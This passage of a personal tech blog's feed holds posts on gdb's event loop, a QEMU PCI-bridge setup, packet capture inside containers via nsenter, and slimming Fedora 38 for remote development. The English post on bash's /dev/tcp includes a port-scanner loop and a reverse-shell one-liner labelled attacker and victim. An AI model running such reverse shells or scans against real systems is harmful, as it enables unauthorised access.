&lt;p&gt;linux_async_pipe 创建 async_pipe，并调用 add_file_handler 和 async_file_mark 接口向 Event_loop 插入 target event。也就是说这时候向 Event Loop 插入 target event 是执行 run 命令后，在 resume 子进程后主动做的。在此之后就是通过 sigchld_handler 异步方式来向 Event_loop 插入target event 事件。&lt;&#x2F;p&gt;
&lt;p&gt;startup_inferior 使用 while 死循环调用 target_wait，多次进入 linux_nat_wait 和 linux_nat_resume（这里为什么进入多次，可以详细阅读源码） 后退出 while 循环。这时候回到 Event Loop 循环。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;断点命中：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当子进程停在断点处后，进入 sigchld_handler 处理，向 Event Loop 插入 target event。Event Loop 中 poll&#x2F;select 捕捉后进入该事件处理。Event Loop 采用 round-robin 模式捕捉事件，有多种方式相应 target event（感兴趣可以查看源码）。Event Loop 响应 target event，进入 linux_nat_wait 中等待接收和处理子进程发送的 SIGTRAP 等信号。处理完 target event 后调用 add_file_handler 向 Event Loop 插入用户事件，等待用户命令。&lt;&#x2F;p&gt;
&lt;p&gt;如此，通过 Event Loop 机制循环处理用户事件和目标程序事件，直到程序退出，删除事件源，Event Loop 也随之退出。&lt;&#x2F;p&gt;
&lt;p&gt;这次就介绍到这里，更多 gdb 内部实现的介绍尽请期待！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>qemu virtio device behind pci bridge</title>
        <published>2024-11-06T00:00:00+00:00</published>
        <updated>2024-11-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/qemu-virtio-device-behind-pci-bridge/"/>
        <id>https://vercel.juzhong.asia/obsidian/qemu-virtio-device-behind-pci-bridge/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/qemu-virtio-device-behind-pci-bridge/">&lt;h1 id=&quot;qemu-virtio-device-behind-pci-bridge&quot;&gt;qemu virtio device behind pci bridge&lt;&#x2F;h1&gt;
&lt;p&gt;qemu virtio device behind pci bridge&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qemu-command-line&quot;&gt;QEMU command line&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-x86_64 \
    -enable-kvm \
    -bios OVMF.fd \
    -smp sockets=1,cpus=4,cores=2 -cpu host \
    -m 1024 \
    -vga none -nographic \
    -netdev user,id=mynet0,hostfwd=tcp::${VMN}0022-:22,hostfwd=tcp::${VMN}2375-:2375 \
    -device virtio-net-pci,netdev=mynet0 \
    -drive file=.&amp;#x2F;test.img,if=none,id=drive-virtio-disk0,format=raw -device virtio-blk-pci,scsi=off,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=0 \
    -device pci-bridge,id=pci_bridge1,bus=pci.0,chassis_nr=1 \
    -drive file=.&amp;#x2F;test2.img,if=none,id=drive-virtio-disk1,format=raw -device virtio-blk-pci,bus=pci_bridge1,addr=1,scsi=off,drive=drive-virtio-disk1,id=virtio-disk1,bootindex=1 \

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;output-of-lspci-in-the-vm&quot;&gt;Output of lspci in the VM&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;root@clr-ee7ec07225414e78b8eac15839a3b0c4 ~ # lspci -v
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
        Subsystem: Red Hat, Inc Qemu virtual machine
        Flags: bus master, fast devsel, latency 0

00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma&amp;#x2F;Triton II]
        Subsystem: Red Hat, Inc Qemu virtual machine
        Flags: bus master, medium devsel, latency 0

00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma&amp;#x2F;Triton II] (prog-if 80 [Master])
        Subsystem: Red Hat, Inc Qemu virtual machine
        Flags: bus master, medium devsel, latency 0
        [virtual] Memory at 000001f0 (32-bit, non-prefetchable) [size=8]
        [virtual] Memory at 000003f0 (type 3, non-prefetchable)
        [virtual] Memory at 00000170 (32-bit, non-prefetchable) [size=8]
        [virtual] Memory at 00000370 (type 3, non-prefetchable)
        I&amp;#x2F;O ports at 0000

00:01.3 Bridge: Intel Corporation 82371AB&amp;#x2F;EB&amp;#x2F;MB PIIX4 ACPI (rev 03)
        Subsystem: Red Hat, Inc Qemu virtual machine
        Flags: bus master, medium devsel, latency 0, IRQ 9

00:02.0 Ethernet controller: Red Hat, Inc Virtio network device
        Subsystem: Red Hat, Inc Device 0001
        Flags: bus master, fast devsel, latency 0, IRQ 11
        I&amp;#x2F;O ports at d040 [size=32]
        Memory at 80102000 (32-bit, non-prefetchable) [size=4K]
        Expansion ROM at &amp;lt;ignored&amp;gt; [disabled]
        Capabilities: [40] MSI-X: Enable+ Count=3 Masked-
        Kernel driver in use: virtio-pci

00:03.0 SCSI storage controller: Red Hat, Inc Virtio block device
        Subsystem: Red Hat, Inc Device 0002
        Flags: bus master, fast devsel, latency 0, IRQ 10
        I&amp;#x2F;O ports at d000 [size=64]
        Memory at 80101000 (32-bit, non-prefetchable) [size=4K]
        Capabilities: [40] MSI-X: Enable+ Count=2 Masked-
        Kernel driver in use: virtio-pci

00:04.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge (prog-if 00 [Normal decode])
        Flags: bus master, 66MHz, fast devsel, latency 0, IRQ 10
        Memory at 80100000 (64-bit, non-prefetchable) [size=256]
        Bus: primary=00, secondary=01, subordinate=01, sec-latency=0
        I&amp;#x2F;O behind bridge: 0000c000-0000cfff [size=4K]
        Memory behind bridge: 80000000-800fffff [size=1M]
        Prefetchable memory behind bridge: None
        Capabilities: [4c] MSI: Enable- Count=1&amp;#x2F;1 Maskable+ 64bit+
        Capabilities: [48] Slot ID: 0 slots, First+, chassis 01
        Capabilities: [40] Hot-plug capable

01:01.0 SCSI storage controller: Red Hat, Inc Virtio block device
        Subsystem: Red Hat, Inc Device 0002
        Flags: bus master, fast devsel, latency 0, IRQ 11
        I&amp;#x2F;O ports at c000 [size=64]
        Memory at 80000000 (32-bit, non-prefetchable) [size=4K]
        Capabilities: [40] MSI-X: Enable+ Count=2 Masked-
        Kernel driver in use: virtio-pci

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Bash-ing your network</title>
        <published>2024-11-05T00:00:00+00:00</published>
        <updated>2024-11-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/bash-ing-your-network/"/>
        <id>https://vercel.juzhong.asia/obsidian/bash-ing-your-network/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/bash-ing-your-network/">&lt;h1 id=&quot;bash-ing-your-network&quot;&gt;Bash-ing your network&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;&#x2F;dev&#x2F;tcp is a file descriptor of bash shell&lt;&#x2F;strong&gt;
In bash,  &lt;em&gt;&#x2F;dev&#x2F;tcp&lt;&#x2F;em&gt; is a special file that allows you to establish network connections using the TCP&#x2F;IP protocol. It provides a simple way to communicate with remote servers over a network.
Using  &lt;em&gt;&#x2F;dev&#x2F;tcp,&lt;&#x2F;em&gt;  you can open a network socket and read from or write to it, similar to how you would read from or write to a file. This feature is primarily available in bash shells on Unix-like systems.
&lt;em&gt;&#x2F;dev&#x2F;udp&lt;&#x2F;em&gt; is also valid.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Port scanning&lt;&#x2F;strong&gt;
One of the most common uses of it is to check if a port is open in a remote host.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;timeout 0.5 echo -n 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null &amp;lt; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;127.0.0.1&amp;#x2F;7777 &amp;amp;&amp;amp; echo &amp;quot;open&amp;quot; || echo &amp;quot;closed&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This can be extremely useful in cases where a machine&#x2F;container doesn’t have nc, curl, wget or any other utility to check for network connection.
Let’s say we are in a Kubernetes pod that runs on a minimal image having bash. We want to check if it can communicate with a service or if the service is actually listening on a port.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kubectl exec -it svc&amp;#x2F;random-service -- bash
$ echo &amp;lt; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;other-service.namespace.svc.cluster.local&amp;#x2F;7777 &amp;amp;&amp;amp; echo &amp;quot;open&amp;quot; || echo &amp;quot;closed&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can make a port scanner with it (and it’s pretty fast)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;for port in {1..8888}; do
  echo -n 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null &amp;lt; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;127.0.0.1&amp;#x2F;$port &amp;amp;&amp;amp; echo &amp;quot;$port&amp;#x2F;tcp open&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Read TCP stream&lt;&#x2F;strong&gt;
Get the time from nist.gov&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;lt; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;time.nist.gov&amp;#x2F;13
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;File Transfer&lt;&#x2F;strong&gt;
Option 1
Sender&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 7777 &amp;lt; file.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Receiver&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;lt; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;sender&amp;#x2F;7777 &amp;gt; file.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Option 2
Receiver&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 7777 &amp;gt; file.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Sender&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat file.txt &amp;gt; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;receiver&amp;#x2F;7777
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Reverse Shell&lt;&#x2F;strong&gt;
Attacker&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 7777
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Victim&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bash -c &amp;#x27;bash -i &amp;gt;&amp;amp; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;attacker&amp;#x2F;7777 0&amp;gt;&amp;amp;1&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;HTTP Requests&lt;&#x2F;strong&gt;
Fetching the &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.google.com&#x2F;&quot;&gt;www.google.com&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; page&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;exec 5&amp;lt;&amp;gt;&amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;www.google.com&amp;#x2F;80
echo -e &amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.1\r\nhost: www.google.com\r\nConnection: close\r\n\r\n&amp;quot; &amp;gt;&amp;amp;5
cat &amp;lt;&amp;amp;5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;References
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tldp.org&#x2F;LDP&#x2F;abs&#x2F;html&#x2F;devref1.html&quot;&gt;https:&#x2F;&#x2F;tldp.org&#x2F;LDP&#x2F;abs&#x2F;html&#x2F;devref1.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;w0lfram1te.com&#x2F;exploring-dev-tcp&quot;&gt;https:&#x2F;&#x2F;w0lfram1te.com&#x2F;exploring-dev-tcp&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>容器中没有tcpdump命令我们该怎么抓包？</title>
        <published>2024-11-05T00:00:00+00:00</published>
        <updated>2024-11-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/容器中没有tcpdump命令我们该怎么抓包/"/>
        <id>https://vercel.juzhong.asia/obsidian/容器中没有tcpdump命令我们该怎么抓包/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/容器中没有tcpdump命令我们该怎么抓包/">&lt;h1 id=&quot;rong-qi-zhong-mei-you-tcpdumpming-ling-wo-men-gai-zen-me-zhua-bao&quot;&gt;容器中没有tcpdump命令我们该怎么抓包？&lt;&#x2F;h1&gt;
&lt;p&gt;容器内没有tcdump、route、ifconfig等网络命令，给我们网络调试、排查问题带来了很大的困难。我们知道，容器有自已的网络命名空间，所以我们&lt;strong&gt;只需要进入到容器的网络命名空间，再利用主机上的命令进行调试就可以了&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;1-yun-xing-yi-ge-nginxrong-qi&quot;&gt;1.运行一个nginx容器&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt; # 通过宿主机的8000端口映射到容器的80端口
$ docker run -d -p 8000:80 nginx:1.26.2 nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;2-zhao-dao-rong-qi-zhong-pidwei-1de-jin-cheng-zai-su-zhu-ji-shang-dui-ying-de-pid&quot;&gt;2.找到容器中PID为1的进程在宿主机上对应的PID&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt; $ docker inspect -f {{.State.Pid}} nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们可以在宿主机上通过ps命令，确认4439进程就是对应我们容器中运行的nginx进程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;container-packet-capture&#x2F;ps-verify-container-pid.webp&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;3.使用nsenter命令进入容器网络命名空间，并抓包&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; # 进入到进程号为4439的网络命名空间
$ nsenter -t 4439 -n
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后，我们可以使用&lt;code&gt;ifconfig&lt;&#x2F;code&gt;命令查看该网络命名空间下的网络设备信息（&lt;strong&gt;这跟我们进入容器执行&lt;&#x2F;strong&gt;**&lt;code&gt;ifconfig&lt;&#x2F;code&gt;**&lt;strong&gt;命令看到的是一致的&lt;&#x2F;strong&gt;）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;container-packet-capture&#x2F;nsenter-container-netns-ifconfig.webp&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们也可以通过以下命令确认容器的ip就是&lt;code&gt;172.17.0.3&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; $ docker inspect -f {{.NetworkSettings.IPAddress}} nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;container-packet-capture&#x2F;docker-inspect-container-ip.png&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后我们就可以运行&lt;code&gt;tcpdump&lt;&#x2F;code&gt;命令进行抓包了，在容器的网络命名空间中捕获80端口的流量，然后访问宿主机的8000端口，即可抓取到相应的网络报文了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;container-packet-capture&#x2F;tcpdump-container-capture.png&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;以上就和我们进入容器运行tcpdump命令抓取报文效果一样。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;ru-guo-shi-zai-kuberneteszhong-wo-men-gai-ru-he-zhao-dao-podzhong-dui-ying-rong-qi-de-wang-luo-ming-ling-kong-jian-ni&quot;&gt;如果是在kubernetes中，我们该如何找到&lt;code&gt;Pod&lt;&#x2F;code&gt;中对应容器的网络命令空间呢？&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;1-qi-dong-yi-ge-nginx-pod&quot;&gt;1.启动一个 nginx Pod&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt; $ kubectl run nginx --image=nginx:1.26.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;确认容器running：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;container-packet-capture&#x2F;kubectl-run-nginx-pod.png&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2.获取Pod中的容器ID&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; $ kubectl get pods nginx -o jsonpath=&amp;#x27;{.status.containerStatuses[0].containerID}&amp;#x27;
containerd:&amp;#x2F;&amp;#x2F;f79e81d5d641387306e2a583f7501ddd7c6b72d578969b65c1a0e021c00a7ed3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;案例中nginx Pod只有一个名称为nginx的container，如果Pod中有多个container，使用&lt;code&gt;containerStatuses[0]&lt;&#x2F;code&gt;选取Pod中第一个container的&lt;code&gt;containerID&lt;&#x2F;code&gt;也没有关系，因为在k8s里，Pod中所有container是共享同一个网络命名空间的；&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h5 id=&quot;3-huo-qu-rong-qi-zhong-pidwei-1de-jin-cheng-zai-su-zhu-ji-shang-dui-ying-de-jin-cheng-pid&quot;&gt;3.获取容器中PID为1的进程在宿主机上对应的进程PID&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt; $ crictl inspect --template &amp;#x27;{{.info.pid}}&amp;#x27; -o go-template f79e81d5d641387306e2a583f7501ddd7c6b72d578969b65c1a0e021c00a7ed3
12191
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;4-shi-yong-nsenterming-ling-jin-ru-rong-qi-wang-luo-ming-ming-kong-jian&quot;&gt;4.使用nsenter命令进入容器网络命名空间&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt; # 进入到进程号为12191的网络命名空间
$ nsenter -t 12191 -n
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下去就可以使用tcdump、route、ifconfig等网络调试命令进行问题排查诊断了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>配置轻量级 Linux 远程开发环境（Fedora 38）</title>
        <published>2024-10-25T00:00:00+00:00</published>
        <updated>2024-10-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/配置轻量级-linux-远程开发环境-fedora-38/"/>
        <id>https://vercel.juzhong.asia/obsidian/配置轻量级-linux-远程开发环境-fedora-38/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/配置轻量级-linux-远程开发环境-fedora-38/">&lt;h1 id=&quot;pei-zhi-qing-liang-ji-linux-yuan-cheng-kai-fa-huan-jing-fedora-38&quot;&gt;配置轻量级 Linux 远程开发环境（Fedora 38）&lt;&#x2F;h1&gt;
&lt;p&gt;首先选一个发行版，需要软件源够全够新，但不一定每天都用，所以不要滚动更新。这次选择 Fedora Workstation 38，然后精简 GNOME 等服务，最终实现：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;空闲时内存占用低于 300MB&lt;&#x2F;li&gt;
&lt;li&gt;桌面环境随用随开&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ji-chu-pei-zhi&quot;&gt;基础配置&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;开启 sshd：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo systemctl start sshd
sudo systemctl enable sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;修改主目录文件名为英文：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;export LANG=en_US
xdg-user-dirs-gtk-update
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;转换后重新设置系统语言为 &lt;code&gt;zh_CN&lt;&#x2F;code&gt;，重启，登录时选中不转换和不再提示。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;删除不必要的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.fedoraproject.org&#x2F;en-US&#x2F;workstation-working-group&#x2F;third-party-repos&#x2F;#_included_software&quot;&gt;第三方软件库&lt;&#x2F;a&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo rm &amp;#x2F;etc&amp;#x2F;yum.repos.d&amp;#x2F;_copr\:copr.fedorainfracloud.org\:phracek\:PyCharm.repo
sudo rm &amp;#x2F;etc&amp;#x2F;yum.repos.d&amp;#x2F;rpmfusion-nonfree-steam.repo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;安装 Go + nvim 开发工具：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo dnf install vim neovim go gcc-c++
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;shan-chu-ruan-jian-geng-xin-fu-wu&quot;&gt;删除软件更新服务&lt;&#x2F;h2&gt;
&lt;p&gt;刚开机的内存占用就有 1.5GB，其中 packagekitd 占很大一部分。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freedesktop.org&#x2F;software&#x2F;PackageKit&#x2F;pk-intro.html&quot;&gt;PackageKit&lt;&#x2F;a&gt; 是一个 dnf、apt 之类包管理工具的通用抽象层。但是我只用 dnf，不需要 gnome-software 等“高级”工具，更何况还有&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;Fedora&#x2F;comments&#x2F;ts5tgd&#x2F;is_fedora_doing_something_to_reduce_packagekits&#x2F;&quot;&gt;大量资源占用&lt;&#x2F;a&gt;等问题。&lt;&#x2F;p&gt;
&lt;p&gt;所以把这两个组件删掉：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo dnf remove gnome-software PackageKit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;节省了 600MB 内存。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;guan-bi-gnome-zhuo-mian-huan-jing&quot;&gt;关闭 GNOME 桌面环境&lt;&#x2F;h2&gt;
&lt;p&gt;大部分时间是 SSH 使用，只有特殊情况才会 RDP 远程桌面连接。所以关闭 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;GNOME_Display_Manager&quot;&gt;gdm(GNOME Display Manager)&lt;&#x2F;a&gt; 来节省资源占用（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;superuser.com&#x2F;a&#x2F;444003&quot;&gt;参考&lt;&#x2F;a&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo systemctl stop gdm
sudo systemctl disable gdm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要时再手动开启：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo systemctl start gdm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;节省了 600MB+ 内存。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-cheng-zhuo-mian&quot;&gt;远程桌面&lt;&#x2F;h2&gt;
&lt;p&gt;需要使用桌面环境时，先启动 gdm，再远程连接。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-dong-deng-lu-jie-suo-yuan-cheng-deng-lu-mi-ma&quot;&gt;自动登陆+解锁远程登陆密码&lt;&#x2F;h3&gt;
&lt;p&gt;这个版本的远程桌面由 GNOME 内置实现，需要有一个正在运行的用户会话，所以要先用 VNC 登陆。&lt;&#x2F;p&gt;
&lt;p&gt;为了方便，可以设置 GNOME 自动登陆（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;help.gnome.org&#x2F;admin&#x2F;system-admin-guide&#x2F;stable&#x2F;login-automatic.html.en&quot;&gt;文档&lt;&#x2F;a&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;# &amp;#x2F;etc&amp;#x2F;gdm&amp;#x2F;custom.conf

[daemon]
AutomaticLoginEnable=True
AutomaticLogin={{ username }}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但会发现每次自动登陆后远程桌面密码都被重置为了随机密码。这是由于系统上服务的密码是以加密形式存储于密钥环（keyring），默认密钥环的解锁密码就是登陆密码，在用户正常登录时会一起解锁。但自动登陆没有输入密码来解锁，所以 GNOME 读取不到其中中加密的远程登陆密码，就会随机生成一个新密码。&lt;&#x2F;p&gt;
&lt;p&gt;如果把默认的密钥环密码设置为空，系统上所有存储的密码都会是明文，不安全。&lt;&#x2F;p&gt;
&lt;p&gt;参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;askubuntu.com&#x2F;a&#x2F;1409857&quot;&gt;网友&lt;&#x2F;a&gt;的方法，创建一个无密码的不安全密钥环来单独存放 RDP 密码：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;安装密钥环管理工具，安装后可以找到「密码和密钥」应用：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo dnf install seahorse
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;在工具中，查看默认的「登陆」密钥环，里面应该已经存放了名为「GNOME Remote Desktop RDP credentials」的远程桌面密码，删除这条记录&lt;&#x2F;li&gt;
&lt;li&gt;创建一个新的密钥环，密钥环的密码设为空，将该密钥环设为默认&lt;&#x2F;li&gt;
&lt;li&gt;重启系统以应用新的默认密钥环&lt;&#x2F;li&gt;
&lt;li&gt;设置远程桌面密码，再次查看之前创建的新密钥环，里面应该已经有了「GNOME Remote Desktop RDP credentials」这条记录。之后远程桌面会使用该密钥环读取和设置密码&lt;&#x2F;li&gt;
&lt;li&gt;恢复默认密钥环为原先的「登陆」，重启系统&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;注意：要修改默认密钥环来让 GNOME 创建密码条目，这种记录会显示为「密码或密钥」，而手动创建的密码记录显示的是「已保存的便签」，测试发现不会被 GNOME 使用。&lt;&#x2F;p&gt;
